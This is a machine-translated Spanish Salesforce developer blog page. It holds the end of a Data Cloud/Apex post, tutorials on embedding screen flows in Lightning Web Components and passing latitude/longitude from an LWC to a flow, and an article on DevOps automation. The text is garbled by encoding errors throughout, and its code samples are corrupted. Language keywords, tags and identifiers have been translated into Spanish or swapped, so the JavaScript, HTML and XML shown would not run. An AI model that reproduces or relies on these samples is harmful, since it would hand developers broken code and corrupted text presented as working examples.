  • Los datos resultantes se almacenan en un objeto ConnectApi.CdpQueryOutput denominado response .

Importante consideraci贸n

  • Aseg煤rese de proporcionar el nombre de API correcto para la informaci贸n. Un nombre de API incorrecto da como resultado un error del sistema.

Conclusi贸n

En esta publicaci贸n de blog, brindamos una descripci贸n general de c贸mo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de c贸digo y los puntos destacados demuestran enfoques pr谩cticos para acceder y consultar datos de objetos de Data Cloud.

La publicaci贸n tambi茅n destaca las mejores pr谩cticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los l铆mites de la CPU, utilizar el procesamiento asincr贸nico para grandes conjuntos de datos y garantizar la denominaci贸n correcta de la API para los conocimientos calculados.

En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight (consulte los documentos ), CdpIdentityResolution (consulte los documentos ) y CdpSegment (consulte los documentos ) que se pueden usar para administrar informaci贸n calculada, crear reglas de resoluci贸n de identidad y segmentaci贸n en Data Cloud mediante Apex.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma de Salesforce. Actualmente se est谩 enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de su Twitter @msrivastav13 .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Incrustar flujos de pantalla en el componente web Lightning

Incrustar flujos de pantalla en el componente web Lightning

脷ltima actualizaci贸n el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representaci贸n condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho m谩s

En el pasado, escrib铆 algunos art铆culos sobre Lightning Web Component . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Deber铆a mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnol贸gico'.
  2. Deber铆a presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe dise帽arse con la capacidad de incorporarse en la p谩gina de registro de rayos de la cuenta.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegaci贸n (Atr谩s, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

Tambi茅n usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir c贸digo Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del dise帽o, crear, eliminar o actualizar un registro, etc. Estos son algunos de los m茅todos clave proporcionados por uiRecordApi :

  1. getRecord : este m茅todo le permite obtener datos de registro.
  2. getRecordCreateDefaults : este m茅todo proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
  3. getRecordUi : obtiene los detalles de dise帽o de un registro, como qu茅 campos se muestran, c贸mo se muestran, etc.
  4. createRecord : este m茅todo le permite crear un nuevo registro.
  5. deleteRecord 鈥 Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuraci贸n XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminaci贸n se use en una p谩gina de registro en Lightning App Builder.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web rel谩mpago para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciar谩 y mostrar谩 el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el c贸digo:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en funci贸n de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representar谩 si la condici贸n correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="est谩ndar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-rel谩mpago> </div>
</plantilla>
embedFlowToLWC.js

Este c贸digo JavaScript de muestra usa el decorador @api para crear propiedades p煤blicas. Por ejemplo, recordId es una propiedad reactiva p煤blica que contiene el ID de la p谩gina de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una funci贸n del m贸dulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importaci贸n se utilizan para importar los m贸dulos y las dependencias necesarios. LightningElement es el componente b谩sico para crear componentes web Lightning.
  • account({ error, data }) es una funci贸n que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero seg煤n el tipo de cuenta.
  • get inputVariables() es un m茅todo captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } m谩s si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnol贸gico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acci贸n despu茅s de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente est茅 disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar d贸nde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente est谩 dise帽ado para usarse en una p谩gina de registro en Lightning App Builder.



<?versi贸n xml=鈥1.0鈥 codificaci贸n=鈥漊TF-8鈥?>
<LightningComponentBundle xmlns=鈥漢ttp://soap.sforce.com/2006/04/metadata鈥>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>rel谩mpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Pasar datos del componente web Lightning al flujo de pantalla

Pasar datos del componente web Lightning al flujo de pantalla

脷ltima actualizaci贸n el 17 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo pasa datos del componente web lightning al flujo de pantalla principal?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Incruste un componente web rel谩mpago dentro del flujo de pantalla
  • Pase los datos del componente web lightning a una variable de flujo
  • Interactuar con el componente web lightning y los elementos de flujo de pantalla en la misma pantalla
  • y mucho m谩s

En el pasado, escrib铆 algunos art铆culos sobre Lightning Web Component . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Uso del componente web Lightning para mostrar un banner de alerta
  2. Obtenga el Id. de registro y el nombre de la API del objeto en el componente web Lightning

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Janel tiene un requisito comercial para hacer lo siguiente:

  1. Desarrollar un componente LWC capaz de recibir entradas de latitud y longitud.
  2. Pase los valores introducidos a los componentes de flujo de pantalla correspondientes.

Construir pantallas con componentes reactivos

Con la funci贸n Crear pantallas con componentes interactivos (actualmente en versi贸n beta), ahora puede habilitar la interacci贸n directa entre un componente web Lightning y otros elementos de flujo en la misma pantalla.

Anteriormente, no exist铆a una disposici贸n directa para la interacci贸n din谩mica entre un componente web Lightning y los elementos de flujo. Como resultado, los usuarios ten铆an que navegar a la siguiente pantalla para ver los datos pasados por el componente web Lightning en Screen Flow.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Al crear el componente web Lightning, tambi茅n utilizaremos el evento FlowAttributeChangeEvent . Esto permitir谩 que un componente controle la navegaci贸n del flujo y notifique al flujo los cambios en los valores de los atributos.

Los eventos FlowAttributeChangeEvent solo se admiten en componentes donde el destino es lightning__FlowScreen .

Pr谩ctica guiada (nosotros hacemos):

Hay 2 pasos para resolver el requisito empresarial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un componente web Lightning de ubicaci贸n de entrada para Screen Flow
  2. Pasos de flujo de Salesforce
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una pantalla para mostrar el componente personalizado de ubicaci贸n de entrada
    3. Agregar un componente de n煤mero de entrada para mostrar la latitud desde la ubicaci贸n de entrada Componente LWC
    4. Agregar un componente de n煤mero de entrada para mostrar la longitud desde la ubicaci贸n de entrada Componente LWC

Paso 1: Cree un componente web Lightning de ubicaci贸n de entrada para Screen Flow

En primer lugar, cree un componente web Lightning de ubicaci贸n de entrada con el siguiente c贸digo. El componente lightning-input-location representa un campo de geolocalizaci贸n compuesto que acepta valores de latitud y longitud introducidos por el usuario, siendo ambos coordenadas geogr谩ficas expresadas en grados decimales. Le permite identificar ubicaciones utilizando estas coordenadas.

El rango aceptable para la latitud est谩 entre -90 y 90, mientras que la longitud acepta valores de -180 a 180. Cualquier entrada m谩s all谩 de estos rangos especificados genera un mensaje de error. Este ejemplo muestra un campo de geolocalizaci贸n compuesto, que muestra una latitud de 27,70750 y una longitud de -122,3948370.

Si no sabe c贸mo crear un componente Lightning, consulte esta gu铆a para desarrolladores, Crear un componente web Lightning .

lwcToScreenFlow.html

Utilizaremos el componente de ubicaci贸n de entrada de rayos para aceptar valores de latitud y longitud. Desglosemos el c贸digo:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • latitude={latitude} :- Esto vincula la propiedad de latitud de la clase JavaScript de LWC con el atributo de latitud del componente.
  • longitude={longitude} :- Similar a la latitud, esto une la propiedad de longitud de la clase JavaScript de LWC con el atributo de longitud del componente.
  • onchange={handleChange} :- Esto configura un detector de eventos en el componente. Cada vez que cambia el valor del componente (ya sea latitud o longitud), se llama al m茅todo handleChange de la clase JavaScript de LWC.

<plantilla> <rel谩mpago-entrada-ubicaci贸n etiqueta="Coordenadas predeterminadas" latitud={latitud} longitud={longitud} onchange={handleChange}> </ubicaci贸n-de-entrada-del-rel谩mpago>
</plantilla>
lwcToScreenFlow.js

Este c贸digo JavaScript de muestra utiliza el decorador @api para crear propiedades p煤blicas, es decir, accesibles desde otros componentes o utilizadas en plantillas HTML. Por ejemplo, @api latitude y @api longitude declaran dos propiedades p煤blicas.

  • FlowAttributeChangeEvent crea y distribuye el evento personalizado que transfiere datos del componente web Lightning a un flujo.
  • handleChange(event) es un m茅todo de controlador de eventos que se llama cuando ocurre un evento de cambio en el componente lightning-input-location en la plantilla HTML de LWC.
  • this.latitude = event.target.latitude y this.longitude = event.target.longitude , estas l铆neas actualizan las propiedades de latitud y longitud con los valores del objetivo del evento (el componente lightning-input-location).
  • [鈥渓atitud鈥, 鈥渓ongitud鈥漖.forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(loc, this[loc]))) , esta l铆nea recorre una matriz que contiene cadenas de latitud y longitud, y para cada uno de estos, env铆a un nuevo FlowAttributeChangeEvent.

importar { LightningElement, api } desde 'lwc';
importar {FlowAttributeChangeEvent} desde 'lightning/flowSupport'; exportar la clase predeterminada LwcToScreenFlow extiende LightningElement { @api latitud; @api longitud; handleChange(evento){ esta.latitud = evento.objetivo.latitud; this.longitude = event.target.longitude; ["latitud", "longitud"].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(ubicaci贸n, esta[ubicaci贸n])) ); }
}
lwcToScreenFlow.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente est茅 disponible para su uso en herramientas como Lightning App Builder o Flow Builder. El elemento de objetivos se usa para especificar d贸nde se puede usar su componente. En este caso, la etiqueta lightning__FlowScreen significa que este componente est谩 dise帽ado para usarse en las pantallas de Salesforce Flow.

Los elementos targetConfigs y targetConfig le permiten definir propiedades que se pueden establecer en el contexto del constructor. En este caso, las propiedades son latitud y longitud . Ambos est谩n configurados para ser del tipo Integer y tienen la funci贸n de outputOnly , lo que significa que se pueden configurar en el flujo, pero el usuario no puede modificarlos dentro del componente. Estas propiedades se pueden usar para pasar datos del LWC al flujo.


<?versi贸n xml="1.0" codificaci贸n="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>58.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>rel谩mpago__FlowScreen</target> </objetivos> <configuraciones de destino> <targetConfig objetivos="rel谩mpago__FlowScreen"> <property label="Latitude" name="latitude" type="Integer" role="outputOnly"/> <property label="Longitud" name="longitud" type="Integer" role="outputOnly"/> </targetConfig> </configuraciones de destino>
</LightningComponentBundle>

Paso 2.1: Definir propiedades de flujo

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 2.2: agregue una pantalla para mostrar el componente personalizado de ubicaci贸n de entrada

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Paso 2.3: Agregue un componente de n煤mero de entrada para mostrar la latitud desde el componente LWC de ubicaci贸n de entrada

  1. En la secci贸n Entrada en Elemento de pantalla , arrastre y suelte el componente N煤mero en la pantalla.
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
    2. Valor predeterminado : {!lwcToFlow.latitude}
  3. Haga clic en Listo.

Paso 2.4: Agregar un componente de n煤mero de entrada para mostrar la longitud desde la ubicaci贸n de entrada Componente LWC

  1. En la secci贸n Entrada en Elemento de pantalla , arrastre y suelte el componente N煤mero en la pantalla.
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
    2. Valor predeterminado : {!lwcToFlow.longitude}
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : Pase de Screen Flow a LWC {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

脷ltima actualizaci贸n el 3 de julio de 2023 por Rakesh Gupta

En el acelerado mundo empresarial actual, la eficiencia en el desarrollo de software es vital. La automatizaci贸n ha surgido como una soluci贸n clave, agilizando los procesos para aumentar la productividad y liberar la innovaci贸n. Salesforce no es inmune a estos desaf铆os y complejidades de toda la industria.

Ingrese a DevOps. DevOps se ha convertido en un elemento esencial en el desarrollo de software, incluido Salesforce. Mediante la colaboraci贸n de desarrolladores, administradores y partes interesadas, Salesforce DevOps crea un entorno perfecto para la automatizaci贸n.

La combinaci贸n de automatizaci贸n y Salesforce DevOps cosecha m煤ltiples beneficios: menos errores, preparaci贸n m谩s r谩pida para el mercado, una canalizaci贸n de lanzamiento optimizada, menos repeticiones, calidad de c贸digo superior y mecanismos de retroalimentaci贸n m谩s fuertes. Mejora la eficiencia operativa y la velocidad de implementaci贸n en el ecosistema de Salesforce, fomentando un desarrollo 谩gil.

Este art铆culo explora la intersecci贸n de la automatizaci贸n y Salesforce DevOps, los beneficios de su sinergia y formas pr谩cticas de aplicarla para un desarrollo m谩s r谩pido en sus operaciones de Salesforce. Tanto si es un profesional de Salesforce como un novato, este art铆culo ofrece informaci贸n para reforzar su enfoque de DevOps de Salesforce con la automatizaci贸n.

Descripci贸n de DevOps de Salesforce

Antes de profundizar en c贸mo se cruzan Salesforce DevOps y la automatizaci贸n, es fundamental comprender lo que implica Salesforce DevOps.

DevOps, una combinaci贸n de ' Desarrollo ' y ' Operaciones ', es un conjunto de pr谩cticas dise帽adas para fusionar el desarrollo de software, el control de calidad y las operaciones de TI en un proceso unificado y fluido. En un contexto de Salesforce , DevOps es la uni贸n de estos principios con las s贸lidas capacidades de CRM de Salesforce, con el objetivo de facilitar procesos de desarrollo e implementaci贸n m谩s fluidos y r谩pidos.

En esencia, Salesforce DevOps incorpora principios como:

  1. Integraci贸n continua y entrega continua (CI/CD),
  2. responsabilidades compartidas,
  3. Acci贸n centrada en el cliente,
  4. Cultura de colaboraci贸n.

El objetivo es crear un entorno cohesivo donde los administradores, desarrolladores y otras partes interesadas puedan trabajar en armon铆a, lo que lleva a ciclos de desarrollo m谩s cortos, tiempo de comercializaci贸n m谩s r谩pido y software de alta calidad.

Sin embargo, a pesar de las ventajas de Salesforce DevOps, los desarrolladores a menudo enfrentan desaf铆os. Si bien es un activo, las caracter铆sticas integrales y la capacidad de personalizaci贸n de Salesforce pueden complicar el proceso de desarrollo e implementaci贸n .

Los desaf铆os difieren de un equipo a otro y de un caso de uso a otro, pero estos son algunos de los m谩s comunes:

  • Las diferencias en los entornos,
  • Administrar dependencias de c贸digo,
  • Manejo de metadatos,
  • Alinear el trabajo de diferentes equipos
  • Necesidad de mantener la calidad del c贸digo
  • Estabilidad del sistema mientras entrega a gran velocidad

Aqu铆 es donde la automatizaci贸n viene al rescate. La automatizaci贸n, en esencia, es el uso de la tecnolog铆a para realizar tareas con una intervenci贸n humana reducida. Cuando se aplica a Salesforce DevOps , puede aliviar significativamente estos desaf铆os.

Las pruebas automatizadas, por ejemplo, pueden mejorar la calidad del c贸digo al identificar errores al principio del proceso de desarrollo. Las implementaciones automatizadas pueden sincronizar metadatos y c贸digo en diferentes entornos, lo que reduce los errores de implementaci贸n. Del mismo modo, la automatizaci贸n de tareas repetitivas puede liberar el tiempo de los desarrolladores, lo que les permite concentrarse en actividades que agregan m谩s valor, como el desarrollo de funciones o el dise帽o de sistemas.

Adem谩s, la automatizaci贸n fomenta un proceso de desarrollo m谩s 谩gil, lo que permite actualizaciones peri贸dicas e incrementales en lugar de implementaciones r铆gidas de Salesforce. Este aspecto acorta el ciclo de desarrollo y facilita la reversi贸n de los cambios si algo sale mal, lo que aumenta la estabilidad general del sistema.

Aprovechamiento de la automatizaci贸n para el desarrollo acelerado de Salesforce

Acelerar el desarrollo de Salesforce a trav茅s de la automatizaci贸n implica identificar tareas manuales y repetitivas, implementar herramientas y marcos de automatizaci贸n adecuados y perfeccionar los procesos para mejorar la eficiencia y reducir los cuellos de botella. Profundicemos en cada una de estas 谩reas con m谩s detalle:

Identificaci贸n de tareas manuales y repetitivas

El primer paso hacia la automatizaci贸n es reconocer qu茅 tareas est谩n ralentizando su velocidad de desarrollo.

Estos t铆picamente incluyen:

  • Revisiones de c贸digo,
  • Pruebas,
  • Despliegue,
  • Configuraci贸n,
  • Migraci贸n de datos.

Suelen implicar procesos manuales tediosos que consumen tiempo y son propensos a errores. Al identificar estas tareas, puede identificar d贸nde la automatizaci贸n proporcionar谩 el mayor beneficio y tendr谩 un impacto significativo en la velocidad y la eficiencia de su desarrollo.

Implementaci贸n de herramientas y marcos de automatizaci贸n

Una vez que haya identificado las 谩reas que podr铆an beneficiarse de la automatizaci贸n, es hora de elegir e implementar las herramientas y los marcos adecuados. Salesforce ofrece varias funciones de automatizaci贸n integradas, como Apex y Salesforce Flow .

Sin embargo, otras herramientas pueden ser m谩s adecuadas para tareas complejas, como Salesforce DX para la gesti贸n del ciclo de vida del desarrollo, o Jenkins y CircleCI para la integraci贸n y entrega continuas. Al seleccionar estas herramientas, aseg煤rese de que se alineen con las habilidades de su equipo y los requisitos espec铆ficos de su entorno de Salesforce.

Optimizaci贸n de procesos para mejorar la eficiencia

La automatizaci贸n no se trata solo de herramientas y tecnolog铆a. Tambi茅n se trata de refinar sus procesos. Revise su flujo de trabajo de desarrollo actual para identificar posibles cuellos de botella y 谩reas de mejora.

Por ejemplo:

  1. 驴C贸mo se informan y rastrean los errores?
  2. 驴Con qu茅 frecuencia se realizan las implementaciones y c贸mo se programan?
  3. 驴C贸mo se recopilan los comentarios y c贸mo se act煤a en consecuencia?

Simplificar estos procesos puede mejorar dr谩sticamente la eficiencia de su equipo, permiti茅ndole aprovechar al m谩ximo sus esfuerzos de automatizaci贸n.

Vale la pena mencionar que los beneficios de la automatizaci贸n van m谩s all谩 de acelerar el desarrollo. La automatizaci贸n tambi茅n puede mejorar la calidad del c贸digo al detectar errores temprano a trav茅s de pruebas automatizadas. Puede reducir los errores de implementaci贸n al sincronizar el c贸digo en diferentes entornos.

Y al liberar a los desarrolladores de las tareas rutinarias, les permite concentrarse m谩s en el desarrollo de caracter铆sticas y el dise帽o del sistema, fomentando as铆 la innovaci贸n y mejorando el valor entregado a los usuarios finales.

Pruebas automatizadas para el desarrollo acelerado de Salesforce

Las pruebas son un componente crucial de cualquier ciclo de vida de desarrollo, y su importancia se multiplica para acelerar el desarrollo de Salesforce. Las pruebas peri贸dicas y exhaustivas ayudan a identificar errores y problemas desde el principio, lo que reduce el riesgo de reparaciones costosas y lentas en el futuro. Asegura la calidad y la confiabilidad de la aplicaci贸n, lo que a su vez contribuye a mejorar las experiencias de los usuarios y los resultados comerciales.

La automatizaci贸n puede potenciar este proceso de prueba. Las pruebas automatizadas implican el uso de herramientas de software para ejecutar pruebas y comparar los resultados reales con los resultados esperados. La implementaci贸n de una estrategia de prueba automatizada para las aplicaciones de Salesforce puede acelerar dr谩sticamente el proceso de desarrollo, lo que garantiza implementaciones m谩s r谩pidas, eficientes y confiables con menos errores.

Existen numerosas herramientas disponibles para pruebas automatizadas en Salesforce. Apex proporciona soporte integrado para pruebas unitarias, mientras que herramientas como Selenium, Provar y AssureClick pueden automatizar las pruebas de IU. Jest es una excelente opci贸n para probar Lightning Web Components (LWC). Al seleccionar una herramienta, considere las necesidades espec铆ficas de su aplicaci贸n, la experiencia de su equipo y la complejidad y frecuencia de sus requisitos de prueba.

Seguir las mejores pr谩cticas es esencial para aprovechar todo el potencial de las pruebas automatizadas. Estas son algunas de las mejores pr谩cticas para pruebas automatizadas eficientes y completas en el desarrollo de Salesforce:

  • Apunte a una alta cobertura de prueba : aseg煤rese de probar todas las partes de su aplicaci贸n. Salesforce requiere una cobertura de c贸digo m铆nima del 75 %, pero apuntar a una mayor cobertura puede brindar m谩s confianza en la confiabilidad de la aplicaci贸n.
  • Cree pruebas repetibles y aut贸nomas : las pruebas deben poder ejecutarse en cualquier entorno y no deben basarse en datos de pruebas anteriores. Esto garantiza que cada prueba valide una funci贸n espec铆fica de forma independiente.
  • Mantenga sus conjuntos de pruebas : a medida que su aplicaci贸n evolucione, sus pruebas tambi茅n deber铆an hacerlo. Revise y actualice regularmente sus pruebas para asegurarse de que reflejen con precisi贸n el estado actual de su aplicaci贸n.
  • Implemente diferentes niveles de prueba : combine pruebas unitarias, pruebas de integraci贸n y pruebas de interfaz de usuario para validar todos los aspectos de su aplicaci贸n. Cada nivel de prueba proporciona una perspectiva diferente sobre la funcionalidad de la aplicaci贸n.
  • Priorizar la legibilidad de la prueba : las pruebas a menudo sirven como documentaci贸n, explicando lo que se supone que debe hacer una parte del c贸digo. Aseg煤rese de que sus pruebas est茅n bien estructuradas y claramente escritas para que sean f谩ciles de entender para los dem谩s.
